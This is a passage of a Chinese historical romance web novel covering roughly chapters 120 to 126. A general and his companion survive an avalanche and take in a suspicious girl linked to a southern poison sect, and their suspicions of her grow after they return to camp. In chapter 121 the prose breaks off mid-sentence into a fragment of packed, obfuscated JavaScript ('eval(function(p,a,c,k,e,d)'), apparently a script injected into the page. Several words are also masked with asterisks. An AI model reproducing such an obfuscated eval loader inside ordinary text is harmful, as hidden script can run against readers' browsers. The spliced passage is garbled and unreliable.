他的话语顿住,眼神里似乎有千言万语,却又不知从何说起。 黎音袅的心几乎要跳出胸腔,她屏住呼吸,等待着他的下文。这一刻,她仿佛预感到了什么。帐外风雪也好,这千年壁画也罢,都成了模糊的背景。 然而,就在此时—— 轰鸣—— 一声惊天动地的巨响猛然从洞外传来,整个山洞似乎都为之剧烈震颤了一下!碎石从洞顶簌簌落下。 “怎么回事?!”陈野脸色大变。 江令舟神色一凛,眼中刚才那一瞬间的柔情被骤然的警惕取代:“雪崩!” 他话音未落,洞口的光线猛地一暗,随即大量的冰雪伴随着巨大的冲击力向洞内倒灌进来! “快!退到洞穴深处!”江令舟大喝一声,一把拉住黎音袅的手腕,将她往洞穴更深处带去。 黎音袅被他拽着,踉跄后退,心中一片冰凉。 那未尽的话语,如同此刻被风雪掩埋的洞口,不知何时才能重见天日。 第121章通了 雪粒击打洞穴石壁的声响终于渐弱,周遭陷入一种令人不安的沉寂。江令舟收回敲击冰棱的佩剑,剑身与冰块碰撞发出的闷响在封闭的洞穴里短暂回荡,更衬得此刻死寂。 黎音袅蜷缩在江令舟铺开的毛皮毯上,指尖无意识地摩挲着腰间的狼牙吊坠。那是江令舟前日狩猎后,亲手用狼牙与赤金丝线缀合,雕琢成楼兰狼首的模样赠予她的。此刻,这枚吊坠在昏暗中沁出幽冷的微光,如同洞外被冰封的月色。 她侧耳倾听,洞外寂静得反常。既没有风雪再度呼啸的迹象,也没有任何搜救队可能发出的声响。被困已近一日,希望随着时间一点点流逝。 “再试一次。”江令舟低沉的声音打破了沉默。他解下腰间几乎干瘪的水囊,将里面最后剩下的小半袋炒面递给黎音袅,“你先吃点。” 黎音袅没有推辞,这个时候,保存体力比什么都重要。她接过油纸包,看着江令舟握紧了**,转身再次向洞口被冰雪封堵处攀爬而去。他军靴的靴底在湿滑的冰壁上几次打滑,坚硬的冰面反射着火把微弱的光,每一步都显得格外艰难。 突然,江令舟的动作顿住了。他像一头警觉的狼,整个身体都紧绷起来,侧耳凝神,似乎在捕捉什么细微的动静。 黎音袅的心也跟着提了起来:“怎么了?” 江令舟没有立刻回答,只是抬手示意她噤声。 洞内再次陷入一片死寂,只有火把燃烧时偶尔发出的噼啪声。黎音袅屏住呼吸,努力分辨着任何可能的声响。 片刻之后,江令舟压低了声音:“冰层后面……好像有动静。” “什么动静?”黎音袅的声音带着一丝不易察觉的颤抖,是人的声音吗?还是……野兽?在这雪山深处,任何可能都潜藏着危险。 江令舟的眉头紧锁,他用刀柄轻轻叩击了一下冰壁,叩叩两声。 冰壁另一侧,沉寂了数息之后,竟真的传来一阵极其轻微的,类似布料摩擦冰面的悉索声。那声音很轻,若非江令舟五感敏锐,几乎就要错过。 “谁?!”江令舟厉声喝问,右手已按在刀柄上,**锵的一声出鞘半寸,森然的寒光在火光下闪过。他的声音穿透厚厚的冰层,带着军人特有的威慑力。 冰层后再次安静下来,只有他们二人紧张的呼吸声在洞穴中交错。 黎音袅的心几乎要跳出胸腔,她紧紧攥着手中的狼牙吊坠,掌心沁出了汗。是敌是友?是生是死? 就在她以为那只是某种错觉,或是山风穿过冰隙的异响时,一个带着怯意的、清甜的女声,艰难地穿透了厚重的冰雪隔阻,传了过来:“有……有人吗?救救我们……” 那声音很年轻,尾音带着一丝西北地域特有的苍凉调子,却又因为虚弱而显得格外飘忽。 “我们?”黎音袅敏锐地捕捉到这个词,不是一个人。 江令舟显然也注意到了,他与黎音袅对视一眼,眼中皆是惊疑。在这绝境之中,任何“人”的出现都足以改变一切。 “你们是什么人?为何会在此处?”江令舟沉声追问,并未放松警惕。雪崩突如其来,这些人又是如何被困在冰层之后的?难道是与他们一样,在雪崩前就进入了某个相连的洞穴? 对面的女声带着哭腔,断断续续地答道:“我们……我们是路过的商队……遇上了雪崩……被困住了……水和食物都没了……求求你们,救救我们……” 商队?黎音袅心中疑窦丛生。此地雪山连绵,地势险峻,绝非商道。哪个商队会冒险走这样的绝路?而且,这声音听起来,似乎离他们并不遥远,仿佛只隔着一层不算太厚的冰壁。 江令舟显然也有同样的疑问,但他没有直接点破,只是问道:“你们有多少人?可能描述一下你们所处的位置?” “只……只剩下三个人了……”女声带着哽咽,“我们在一处……一处凹坑里,头顶……头顶全是冰雪……快要喘不过气了……” “将军……”黎音袅看向江令舟,眼神中带着询问。她虽有疑虑,但对方语气中的绝望却不似作伪。 江令舟的脸色依旧凝重,他沉吟片刻,对冰层后喊道:“你们待在原地不要乱动,设法保存体力,我们尝试打通冰层!” “真……真的吗?太好了!谢谢你们!谢谢恩人!”那女声顿时充满了劫后余生的狂喜和感激。 江令舟不再多言,他打量着堵住洞口的冰雪层,大部分是崩塌的积雪和碎冰,但其中也夹杂着一些坚硬的冰块。他用**的刀尖试探着敲击了几处,发出笃笃的闷响。 “这冰层并不全是新雪,有些地方恐怕是陈年坚冰,不易打通。”江令舟判断道。 “那怎么办?”黎音袅有些焦急,她虽然对对方的身份存疑,但一想到有人在咫尺之遥等待救援,便无法坐视不理。 “先清理浮雪,看看情况。”江令舟说着,便开始用**劈砍挖掘那些相对松软的积雪。雪块纷纷落下,他动作迅速而有力。 黎音袅也立刻上前帮忙,她没有称手的工具,只能用手拨开那些**令舟劈下来的碎雪。冰冷的雪刺激着她的指尖,但她毫不在意。 “音袅,你退后一些,小心碎冰。”江令舟见她靠得太近,出声提醒。 黎音袅点点头,稍稍退开,目光却紧紧锁定在江令舟和他手中的**上。她知道,此刻他们唯一的希望,便是这把无坚不摧的利刃,以及眼前这个永远沉稳可靠的男人。 她不由自主地想起了那幅壁画,画中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而那清甜的女声,似乎就是从这坍塌的木质结构之后传来的。 “你们……你们还在吗?”女声再次响起,带着一丝不安。 “在!”江令舟应道,“我们正在清理障碍,很快了!” 他加紧了动作,额头上渗出了细密的汗珠。黎音袅想上前帮忙,却被他用眼神制止。这些腐朽的木料和坚冰交错,稍有不慎便可能引发新的坍塌。 终于,随着咔嚓一声,一块较大的冰块被撬开,露出了一个仅容一人通过的狭小缝隙。缝隙对面,是一片漆黑,隐约能看到晃动的人影。 “通了!”黎音袅低呼一声。 江令舟没有立刻让开,而是手持**,警惕地注视着那个缝隙。 “太好了!我们……我们得救了!”女声喜极而泣。 片刻后,一只手,一只纤细苍白、沾着泥污的手,从那缝隙中颤颤巍巍地伸了出来。 第122章已经安全了 冰雪簌簌落下,一个身影从那狭小的缝隙中钻了出来。 那是一个约莫十六七岁的少女,衣衫单薄,睫毛上凝着白霜,怀中紧紧抱着一个瘪了一半的羊皮水袋。她几乎是手脚并用地扒开最后一层冰屑,冻得发紫的嘴唇哆嗦着,一双大眼睛却格外明亮。 少女的视线先是落在了手持军刀、挡在缝隙前的江令舟身上,那双眸子骤然一亮,仿佛溺水之人抓住了救命稻草。然而,当她的视线掠过江令舟,触及他身后不远处的黎音袅时,那光芒又迅速收敛,化作一丝难以察觉的怯意。她低下头,声音细弱,带着劫后余生的颤抖:“阿爹说……雪崩之后,要尽快寻找石缝,或许能救到人。幸好……幸好你们在这里。” 黎音袅心头一松,先前对未知危险的戒备淡去不少。看这少女的模样,分明是个普通的牧民之女,在雪崩中侥幸存活下来。她刚想开口询问,江令舟却比她更快一步。 “你叫什么名字?你的阿爹呢?”江令舟的声音听不出情绪,依旧保持着戒备的姿态,并未因对方是个少女而放松。 少女似乎被他略显冷硬的语气吓到,微微瑟缩了一下,才小声回答:“我叫苏木。阿爹和阿娘……他们……他们都被埋在雪里了。”说到最后,她的声音带上了哭腔,眼圈也红了。 黎音袅心中不忍,上前一步,柔声道:“莫怕,已经安全了。这洞里暖和,你快进来。” 苏木抬起头,感激地看了黎音袅一眼,又怯生生地望向江令舟。 江令舟这才略微侧身,让开了些许位置,但手中的军刀依旧没有放下。他的视线在苏木身上逡巡,仿佛要将她看透。这少女虽然衣着朴素,甚至有些褴褛,但在她单薄的衣衫之下,却透着一股与年龄不符的坚韧。 苏木小心翼翼地从缝隙中挤了进来,或许是冻僵了,她的动作有些迟缓。江令舟上前,伸手替她拂去肩头堆积的冰雪。就在指尖触碰到她内衬衣物的一刹那,他的动作几不可查地顿了顿。 那是一种粗布的触感,但在粗布之下,似乎另有乾坤。他指腹下的布料,有着一种极细微却规律的凸起,像是某种精细的暗纹。 江令舟的心猛地一沉。 他不动声色地收回手,却在苏木看不见的角度,悄然后退了半步,恰好挡在了黎音袅的身前。他的掌心微微合拢,袖中藏着的子母追魂钉已然蓄势待发。 那种暗纹,他认得。那是南疆毒蛊门特有的“缠枝莲”刺绣。寻常人家绝不会有,也绝不敢有。 黎音袅并未察觉江令舟这细微的动作变化,她见苏木冻得厉害,便招呼道:“苏木姑娘,快来火边烤烤。” 苏木对着黎音袅露出一抹虚弱的笑容,点了点头,慢慢走向火堆。她将怀中的羊皮水袋放在火堆旁,然后伸出冻得通红的双手,在火焰上方烘烤着。 “这雪崩来得太突然了,”苏木的声音依旧带着后怕,“我们部落正在迁徙,没想到……”她低下头,肩膀微微抽动。 “你是哪个部落的?”江令舟看似随意地问道,眼神却始终没有离开苏木。 苏木吸了吸鼻子,回答:“我们是……是逐水草而居的牧民,没有固定的部落名称,大家都叫我们‘雪山客’。” “雪山客?”江令舟重复了一遍,这个称呼他从未听闻。南疆的部族虽多,但有字号的部落他大多知晓一二。 “是啊,”苏木抬起头,努力挤出一个笑容,“我们人数不多,平时都在这雪山深处活动,很少与外人接触。” “既然很少与外人接触,为何你的阿爹会让你在雪崩后寻找石缝救人?”江令舟的问题听似平常,却暗藏机锋,“而且,还知道救‘人’,而不是寻找同族?” 苏木的神情滞了滞,似乎没想到他会问得如此细致。她低下头,手指不安地绞着衣角,小声道:“阿爹说……雪山无情,无论是谁遇到灾祸,能帮一把是一把。他说,雪崩时,石缝是最容易存活的地方,里面或许会有……会有其他迷路的旅人。” 这个解释倒也说得过去,只是,江令舟心中的疑虑并未因此消减。他瞥了一眼苏木放在火堆旁的羊皮水袋。那水袋的样式颇为精致,袋口用兽骨打磨的塞子封着,上面还刻着一些细密的纹路,与寻常牧民使用的粗陋水袋大相径庭。 “你阿爹阿娘,他们……现在在何处?”黎音袅轻声问道,带着几分同情。 苏木的眼泪又涌了上来,她哽咽道:“就在……就在那片最大的雪坡下面。雪崩的时候,我离他们远一些,才……才侥幸活了下来。”她用袖子擦了擦眼睛,“我想去找他们,可是……雪太大了,我根本找不到。” “节哀。”江令舟淡淡道,语气中听不出多少安慰的意味,“这雪山之中,除了你们,可还有旁人?” 苏木摇了摇头:“应该没有了。我们部落的人都在一起。至于其他人……我也不知道。”她顿了顿,抬眼看向江令舟和黎音袅,“你们……你们是商队吗?怎么会到这雪山深处来?” 黎音袅正要回答,江令舟却抢先开口:“我们是迷路的旅人。” 他的回答简洁明了,没有透露任何多余的信息。黎音袅看了他一眼,也便没有再多言。江令舟的警惕,她此刻也感受到了几分。眼前这个少女,虽然看起来楚楚可怜,但她的出现,以及她身上那些不合常理的细节,都透着一股诡异。 “迷路?”苏木重复了一句,眼中闪过一丝不易察觉的异色,但很快便被担忧所取代,“这雪山凶险,你们迷路了可怎么是好?现在又遇上雪崩……” “我们自有办法。”江令舟截断她的话,“你现在有什么打算?” 苏木茫然地摇了摇头:“我……我不知道。阿爹阿娘都不在了,部落也没了……我不知道该去哪里。”她说着,又看向江令舟,眼神中带着一丝希冀,“大哥哥,你们……你们能带我一起走吗?我什么都能做,不会拖累你们的。” 黎音袅心软,看向江令舟,眼神中带着询问。 江令舟沉吟不语。带上她,无疑是带上了一个巨大的未知数。那“缠枝莲”刺绣,如同跗骨之蛆,让他无法安心。毒蛊门的人,为何会出现在这里?又为何会伪装成一个普通的牧民少女? 第123章另有所图? 他想起了那些壁画,想起了壁画中那个与先祖并肩作战、却最终反目成仇的神秘女子。难道,这其中有什么关联? “你为何不回你的族地?”江令舟突然问道。 苏木愣了一下,眼中闪过一丝慌乱,随即低下头,声音带着哭腔:“族地……族地也被雪崩毁了。我们是出来寻找新的牧场的。” “哦?那你们原本的族地在何处?”江令舟追问。 “在……在雪山的那一边,很远,要翻过好几座雪山才行。”苏木的声音越来越低。 江令舟心中冷笑。破绽百出。若真是从雪山那一边过来,此刻遭遇雪崩,她的第一反应应该是设法回去报信,或者寻找族人,而不是漫无目的地寻找什么石缝救“人”。 “将军,”黎音袅轻声开口,打破了洞内的沉默,“我看苏木姑娘也怪可怜的,不如……” 江令舟抬手,制止了她的话。他看着苏木,一字一句道:“我们此行,凶险异常,自身尚且难保,恐怕无法带上你。” 苏木的脸色瞬间变得苍白,眼中那最后一丝希冀也熄灭了。她咬着下唇,强忍着没有让眼泪掉下来,声音却带着绝望的颤音:“我……我真的不会拖累你们的。我会采药,会打猎,我认识雪山里的路……” “你认识雪山里的路?”江令舟敏锐地抓住了她话中的关键,“你不是说你们是来寻找新牧场的吗?怎会熟悉这里的路?” 苏木的身体猛地一僵,她张了张嘴,似乎想解释什么,但最终只是低下头,肩膀不住地颤抖。 洞内的气氛一时间凝重到了极点。火光跳跃,映照着三人各异的神情。 黎音袅看着苏木瑟瑟发抖的模样,心中虽有不忍,但江令舟的怀疑并非没有道理。这个少女的言辞之间,确实存在太多矛盾之处。她不由得想起江令舟先前说过的话:“无论他们是什么人,眼下救人要紧。若是敌人,也好过让他们在暗处。” 现在,这个人虽然救出来了,但她的身份却成了一个更大的谜团。 “你怀里的水袋,似乎并非凡品。”江令舟的视线再次落到那个羊皮水袋上,“可否借我一观?” 苏木猛地抬起头,双手下意识地抱紧了水袋,眼中充满了警惕,与方才的柔弱判若两人:“这是……这是我阿娘留给我的遗物,不能给别人看!” “只是看看而已。”江令舟语气平淡,却带着不容拒绝的意味。 “不……不行!”苏木向后缩了缩,身体紧紧贴着冰冷的洞壁,仿佛那是她最后的依靠。 黎音袅看着她激烈的反应,心中的疑虑更甚。一个普通的水袋,何至于此?除非……那水袋里,或者水袋本身,藏着什么秘密。 江令舟没有再逼迫,只是静静地看着她。有时,沉默比言语更有力量。 过了许久,苏木似乎也意识到自己的反应太过激了。她深吸一口气,像是做出了什么决定,慢慢将水袋递了过来,声音依旧有些发颤:“给……给你看便是。但你们……你们不能抢走它。” 江令舟接过水袋。水袋入手颇沉,显然里面还装着不少水。他仔细端详着袋口的兽骨塞子,以及上面那些细密的刻痕。那些刻痕并非随意刻画,而是组成了一种奇特的图案,像是一种图腾,又像是一种符文。 他拔开塞子,一股淡淡的腥甜气味从中飘散出来。 江令舟的眉头皱得更紧了。这不是清水的味道。 他没有去闻,更没有去尝。毒蛊门的人,最擅长的便是用毒。这水袋里的水,谁知道有没有问题。 “这水……似乎有些异样。”江令舟将水袋递还给苏木。 苏木接过水袋,紧紧抱在怀里,低声道:“这是我们部落特制的雪山泉水,加了些草药,可以抵御风寒。” “是么。”江令舟不置可否。 他站起身,走到先前清理出来的坍塌通道入口,向外望了望。风雪依旧很大,外面白茫茫一片,根本看不清任何东西。 “将军,我们现在……”黎音袅走到他身边,轻声问道。 “先在此处休整。”江令舟道,“等雪小一些,再设法离开。”他的视线若有若无地瞟向蜷缩在火堆旁的苏木。 无论这个苏木是何来历,有何目的,眼下,他们都被困在这小小的山洞之中。 黎音袅顺着他的视线看去,苏木抱着双膝,将头埋在膝盖里,瘦弱的身体在火光下显得愈发单薄。 “将军,”黎音袅犹豫了一下,还是说道,“她会不会……真的只是个可怜的孤女?” 江令舟没有回答,只是道:“防人之心不可无。尤其是在这种地方,遇到这种诡异的事情。”他顿了顿,声音压得更低,“她内衬的衣物上,有南疆毒蛊门的‘缠枝莲’刺绣。” 黎音袅闻言,心中剧震,倒吸一口凉气。 毒蛊门!那可是南疆最神秘也最令人闻风丧胆的门派! 她再次看向苏木,那个看似无害的少女,此刻在她眼中,仿佛也蒙上了一层阴影。 苏木似乎察觉到了他们的注视,缓缓抬起头,一双红肿的眼睛望着他们,带着一丝迷茫和无助。 “大哥哥,大姐姐,”她怯生生地开口,“你们……你们真的不肯带我走吗?” 江令舟迎着她的视线,没有说话。 黎音袅的心中也充满了矛盾。如果苏木真的是毒蛊门的人,那她的目的又是什么?是冲着他们来的,还是另有所图? 洞外的风雪声似乎更大了,呼啸着,像是野兽的咆哮。 “此地不宜久留,”江令舟打破沉默,“我们必须尽快找到下山的路。”他瞥了苏木一眼,“至于你,若你所言属实,我们会设法将你送到安全的地方。但若你有任何歹意……” 他的话没有说完,但其中的警告意味,不言而喻。 苏木低下头,不再言语。 江令舟从怀中取出一块干粮,递给黎音袅,又取出一块,抛给了苏木。 苏木接住干粮,却没有立刻吃,只是怔怔地看着。 “吃吧,”江令舟道,“保存体力。” 说完,他便不再理会苏木,开始检查自己的装备,同时留意着洞外的动静。 黎音袅默默地吃着干粮,心中却无法平静。 这个夜晚,注定不会平静。 苏木小口地啃着干粮,眼神却时不时地飘向江令舟和黎音袅,带着难以捉摸的意味。 洞内只有篝火燃烧时发出的噼啪声,以及三人间沉默的对峙。 许久,苏木轻声道:“雪停了。” 江令舟和黎音袅同时望向洞口。 第124章美色 风雪停歇后,下山的路异常难行。所幸队伍休整得当,三日后,一行人终于返回了北疆大营。 其他的部下也陆续回到了阵营。 苏木,这个半路出现的南疆孤女,便也一同被带了回来。这三日,她几乎寸步不离黎音袅左右,乖巧得像只温顺的猫。黎音袅虽仍存疑虑,但见她一路沉默安静,倒也渐渐放下了些许戒备。营中事务繁忙,无人过多关注一个身份不明的少女。 夜已深。 黎音袅处理完军医处送来的伤药清单,吹熄了桌案上的油灯,只留床头一豆残光。她揉了揉眉心,正欲解衣安歇,帐外忽有细碎的脚步声掠过。那脚步声轻浅,却带着一丝不稳,不似巡夜的兵士。 她掀开帐帘一角,恰见一道纤细的身影朝着主帐方向行去,正是苏木。夜风吹起苏木的裙摆,发间似沾着寒露,手中……似乎捧着什么。 “她去将军帐中做什么?”黎音袅心头一紧,睡意顿消。她看着苏木的身影在江令舟的帐门前停下,犹豫片刻,接着,竟真的掀帘闯了进去,动作带着几分踉跄,仿佛不胜酒力一般。 黎音袅的手指无意识地绞紧了帐帘布料。 江令舟的帐内,灯火通明。 他刚放下手中的兵书概要,正凝神思索明日的布防。帐外亲兵通报:“将军,苏木姑娘求见。” 她觉得以自己的的国色天香,没有人逃过自己的美色。 即使是楚国的将军也不过是一介武夫,让他为自己着迷并不是难事。 江令舟眉峰微蹙。苏木?这么晚了,她来做什么?他想起那衣物内衬上诡异的“缠枝莲”刺绣,心中警铃顿起。“让她进来。” 他倒要想要看看苏木到底有什么目的。 一个长公主的丫鬟,深夜来找将军已经违背了规则,还如此明目张胆。 尚且她是南疆人不太了解自己和长公主的感情,但是不管是哪个地区的人,男女授受不亲是懂的吧。 他准备好好的聊聊这个不明来历的苏木。 帐帘掀开,一股混着夜露寒气的酒香先飘了进来。苏木捧着一只盛满马奶酒的皮囊,低着头走了进来,发丝微乱,几缕贴在颊边,更显脸色苍白。 “将军,”她声音细弱,带着颤音,抬起头时,双眼在烛火下水光潋滟,“奴婢……奴婢想请教……中原的星象知识。” 江令舟的视线从她沾湿的裙角,到她手中晃动的马奶酒,最后停在她那双刻意做出楚楚可怜姿态的眼睛上。他心中冷笑,这女子手段当真不少。 他明知道要是黎音袅知道苏木在他的营帐里逗留过会介意,并让自己的部下进入帐篷,故意作为证人存在。 苏木刚开始有些慌乱,这人多了怎么让自己的美色发挥作用。 江令舟才不惯着她“三更天,不是问星象的时辰。”他的声音平静,却透着北疆寒夜的冷意。烛火将他的影子投在帐幕上,轮廓分明,如同一柄即将出鞘的利刃。 苏木预想过楚国的将军和自己部落的人性情上会有些差异,但男女之事上她可是行家。他如此冷淡的态度让苏木摸不着头脑。 苏木抱着酒囊的手指微微收紧:“奴婢……奴婢睡不着,想起家乡的星空,便想……便想知道中原的星星和我们南疆有何不同。”她往前递了递酒囊,“这是奴婢用带来的草药新酿的马奶酒,不成敬意,将军尝尝?” 江令舟没有去看那酒,南疆毒蛊门,什么东西是她们不敢用的?他的手指在桌案下,不自觉地握住了腰间悬挂的狼首刀柄。刀柄冰凉坚硬,狼首狰狞的纹路硌着掌心。这柄佩刀,还是去年黎音袅在他生辰时所赠,说狼能镇邪。 “我对星象,并无研究。”江令舟道,“军中自有司天监的官员,你若真有兴趣,明日可去寻他们。” “不,奴婢……奴婢只想问将军。”苏木咬着下唇,眼中水汽更浓,仿佛下一刻就要落下泪来,“将军见多识广,定然知晓。” 她这副模样,若是换了旁人,或许早已心软。但江令舟只觉得她每一个动作,每一个神情,都充满了刻意的算计。 “我对你的来历,更有兴趣。”江令舟缓缓开口,“雪山泉水,缠枝莲,如今又是深夜献酒问星象。苏木姑娘,你的戏,还要演到何时?” 苏木身体一颤,捧着酒囊的手垂了下去,酒水险些洒出。她脸上的无助迅速褪去,取而代之的是一片茫然,随即又化为一丝委屈:“将军……不信奴婢?” “信?”江令舟的唇角勾起一抹极淡的弧度,“在这北疆大营,多一个身份不明的南疆女子,你让我如何信你?”他想起在山洞中,她那看似无害的眼神,此刻想来,竟也藏着同样的算计。 “奴婢……”苏木张了张口,却又低下头去,发丝垂落,遮住了她的表情,“奴婢只是想找个依靠。将军不愿带奴婢离开雪山,奴婢只能自己跟着。” “跟着我,便是深夜闯我营帐,用星象这种不入流的借口?”江令舟的声音依旧平稳,但压迫感却越来越强,“还是说,你这马奶酒里,也加了你们部落特制的‘草药’?” 苏木猛地抬头,眼中闪过一丝慌乱,旋即又强自镇定:“将军何出此言!奴婢绝无害人之心!” “是么。”江令舟拿起桌上的兵书概要,轻轻敲了敲桌面,“那你现在可以出去了。我对南疆的星象,或是加了料的马奶酒,都没有兴趣。” 苏木站在原地,没有动。帐内的气氛一时有些凝滞。 片刻后,她轻声道:“若奴婢说,奴婢能助将军呢?” 江令舟挑眉:“助我?你一个孤女,能助我什么?”心中却暗忖,终于要露出真实目的了么? 苏木往前走了一步,帐内的烛火跳动了一下:“奴婢知晓……一些南疆秘事。” 她说完,便不再言语,只是静静地看着江令舟。 江令舟也看着她,帐外风声呼啸。 第125章议论 晨光熹微,副将张夫人的声音已在黎音袅的帐外响起,带着几分刻意的热络。 “妹妹近来气色越发好了,可是用了什么新的方子?”张夫人一脚踏入帐内,手中捧着个绣绷,身后还跟着两位常来走动的参将夫人。 帐内熏香清淡,黎音袅才用了早膳,正对着妆镜整理鬓发。她闻言,只从镜中淡淡瞥了张夫人一眼:“不过是睡得安稳些罢了,嫂嫂费心。” “哎,要说安稳,”张夫人拣了张凳子坐下,那绣绷上的鸳鸯尚未成型,针尖却在锦缎上停住,她压低了声音,“昨儿后半夜,我起夜,你猜我瞧见什么了?将军帐前那个南疆来的小丫头,还在帐外头立着呢!也不知是做什么,怪瘆人的。” 她早就看不惯这个小丫头了。原本自己的夫君有三姨太,深怕看上这个小丫头纳妾。 想用长公主的身份赶走这个祸患也是百利无一害。 另一位李夫人接过话头:“可不是,那苏木来历不明,将军也是心善,竟将她留在身边伺候。只是这深更半夜的……”她啧啧两声,手中捻着的绣线在晨光下泛出几丝说不清道不明的色泽。 王夫人性子急些:“一个南疆女子,孤身一人跑到这北疆大营,本就蹊跷。我看她那双眼睛,滴溜溜转,不像个安分的。” 虽然她们说的是八卦,听的她确实不是滋味。 黎音袅眉心微蹙。她不喜欢背后议论人,尤其这议论还牵扯到江令舟。但这些话,却也像细小的针,扎在她心上。她想起昨夜江令舟回帐时,身上似乎带了些微不同的草木气息,并非军中常用的。 “许是……有什么急事吧。”黎音袅开口,语气平平。 她故意找个台阶下,毕竟苏木是自己执意挽留的,且这个丫头确实是可怜。 若是因为其他人的非议去怀疑苏木,也不大好。 主要是因为此事儿怀疑江令舟也影响夫妻感情。 张夫人笑了:“能有什么急事,非得后半夜说?妹妹你就是心善。那丫头,我瞧着,不简单。”她说着,绣花针在绢面上猛地一戳,仿佛刺破了什么一般,发出嗤的一声轻响。 黎音袅心中一动。她并非全然不设防。苏木初来时,她也曾细细打量过。那日苏木替她整理被风吹乱的衣襟,指尖在她锁骨处若有若无地停留了片刻。当时只觉异样,此刻想来,那触碰,带着一丝难以言喻的冰凉与刻意。 “夫人,将军说这是胡杨林那边新采的野茶,让您尝尝。”帐外传来苏木柔婉的声音。 来的正是时候。 帘子被轻轻掀开,苏木捧着一盏青瓷茶盏缓步而入。她今日穿着一身素净的衣裙,行走间,腕上的银镯发出细碎清脆的声响,在这略显凝滞的晨间气氛里,格外清晰。 几位夫人的话音立时顿住,交换着眼色。 苏木仿佛未曾察觉帐内的暗流,径直走到黎音袅面前,微微屈膝:“夫人,请用茶。” 黎音袅的视线落在苏木捧着茶盏的手上。那双手,白皙纤细,确实是双巧手。只是当苏木将茶盏奉近时,袖口微微上滑,露出了她手腕的内侧。 一道淡粉色的新月形疤痕,突兀地印在那片雪白的肌肤上。 黎音袅的心,蓦地一沉。 这疤痕……她见过。几年前,她随父帅巡查南疆边境,曾误入一处险地,当地向导说起过南疆“蝮蛇窟”的试炼。凡是通过试炼者,手腕内侧便会留下这样一个永不磨灭的新月标记。蝮蛇窟出来的人,九死一生,个个身手诡谲,精通毒蛊。 “这是……胡杨林的新茶?”黎音袅缓缓开口,声音听不出喜怒。她接过茶盏,指尖却有些发凉。 苏木垂首应道:“是的,夫人。将军说此茶清冽,或可解夫人晨起的微乏。”她抬起头,脸上带着一贯的温顺。 黎音袅端着茶盏,并未立即饮用。她看着苏木,问:“苏木姑娘,你的家乡,也产茶么?” 苏木微怔,随即答道:“奴婢家乡偏远,多是些野生的苦茶,不比中原的茶品精细。” “哦?”黎音袅轻轻拨弄着盏盖,“南疆风物奇特,我曾听闻,有些地方的女子,不仅善织锦,更善用草药,甚至……能以秘术役使毒虫?” 苏木的脸色有刹那的僵硬,尽管极快地恢复了常态,但那细微的变化,并未逃过黎音袅的眼睛。 “夫人说笑了。”苏木勉强维持着镇定,“奴婢……奴婢只是个寻常女子,不懂那些。” “是么。”黎音袅放下茶盏,发出叩的轻响,“我帐中这些姐妹,方才还在议论,说苏木姑娘深夜仍在将军帐外徘徊,不知所为何事。想来,也是关心将军的安危吧?” 这话一出,张夫人几人皆是屏息,帐内气氛骤然紧张。 苏木垂在身侧的手指微微蜷缩了一下,腕间的银镯也不再晃动。“奴婢……奴婢只是睡不着,想替将军守夜,尽些微薄之力。” “南疆女子,倒真是忠心。”黎音袅拿起自己的绣绷,拿起针,却久久没有落下,“只是这北疆大营,不比南疆。有些规矩,还是得懂。不该去的地方,莫去。不该动的心思,莫动。” 她这话,说得不重,却字字清晰。 苏木的头垂得更低:“奴婢……谨记夫人教诲。”她的声音有些发紧。 黎音袅不再看她,只对着张夫人几人道:“几位嫂嫂今日来得巧,正好帮我看看这新绣的花样如何。” 她将话题轻轻巧巧地转开,仿佛方才的一切都未曾发生。张夫人等人连忙应和,只是看向苏木的背影时,更多了几分探究。 苏木行了一礼,捧着空托盘,低头退了出去。 帐内恢复了先前的谈笑,只是那笑声底下,各人心思流转。 黎音袅拈起绣花针,看着绷布上那只尚未绣完的凤凰,久久,才刺下第一针。 那道新月疤痕,如同一条细小的毒蛇,盘踞在她心头。 第126章不再犹豫 戌时三刻,夜色如墨。黎音袅立在暗处,目送苏木端着一盆热水,身影消失在柴房的方向。风带来远处隐约的更鼓声,以及草木的微凉气息。她没有立即动作,静静地等待着,如同一个耐心的猎手。帐内昏黄的灯火透过帘幕,映出几道模糊的人影,那是白日里一同赏花的夫人们,此刻大约仍在低声议论着苏木的异样。 约莫过了半炷香的功夫,黎音袅估摸着柴房那边已无人留意,这才拎起一盏早已备好的煤油灯,灯罩擦拭得干净,火苗跳动得稳定。她提裙,脚步无声地穿过营帐间的空地,夜风拂起她的发丝,却吹不散她心头的凝重。 柴房的木门虚掩着,透出些微的光亮,并非烛火,倒像是刻意压低了的灯芯。黎音袅悄无声息地推开一条缝隙,朝内望去。只见苏木背对着门口,蹲在角落的干草堆旁。她一手举着一个小巧的油灯,另一只手则捏着一个纸包,正小心翼翼地往一个小小的白瓷瓶里倾倒着什么。那粉末,在昏暗的光线下,呈现出一种诡异的淡粉色。 黎音袅深吸一口气,不再犹豫,猛地推开了柴房的门。 “吱呀——”一声,木门摩擦着门框,在这寂静的夜晚显得格外刺耳。 苏木的身子遽然一僵,如同受惊的林中鹿。她慌乱地回过头,手中那盛着粉末的纸包险些掉落,瓷瓶更是被她迅速地藏到了身后。油灯的光晃了晃,照在她略显苍白的脸上,那双总是温顺的眸子里,此刻充满了惊惶。 “倒的什么?”黎音袅提着煤油灯,一步步走近。她的声音不高,却带着一种迫人的压力。灯光下,她的影子在柴房的墙壁上被拉得细长,靴跟踩在散落的干草上,发出的沙沙声清晰可闻。一只不知从何处爬来的黑色甲虫,恰好行至她的脚边,被她毫不留情地一脚碾过,发出细微的噼啪碎裂声。 苏木垂下眼帘,努力让自己的声音听起来平稳,发间的几枚银饰却因她细微的颤抖而轻轻晃动。“是……是奴婢自己配的药粉,有些头痛,用来……安神的。”她顿了顿,像是想起了什么,又补充道,“夫人若是身子不适,奴婢这里还有些……” “头痛?”黎音袅打断她的话,已经走到了苏木的面前。她手中的煤油灯光线更亮,将苏木脸上的每一丝细微表情都照得清楚。黎音袅的视线,落在那只被苏木紧紧攥在身后的白瓷瓶上。“我瞧着,倒不像是寻常的安神药。” 她伸出手,指尖修长,带着薄茧,那是常年握弓习武留下的痕迹。她的手指,轻轻掠过苏木藏在身后的瓷瓶边缘,尽管没有直接触碰到,苏木却还是瑟缩了一下。 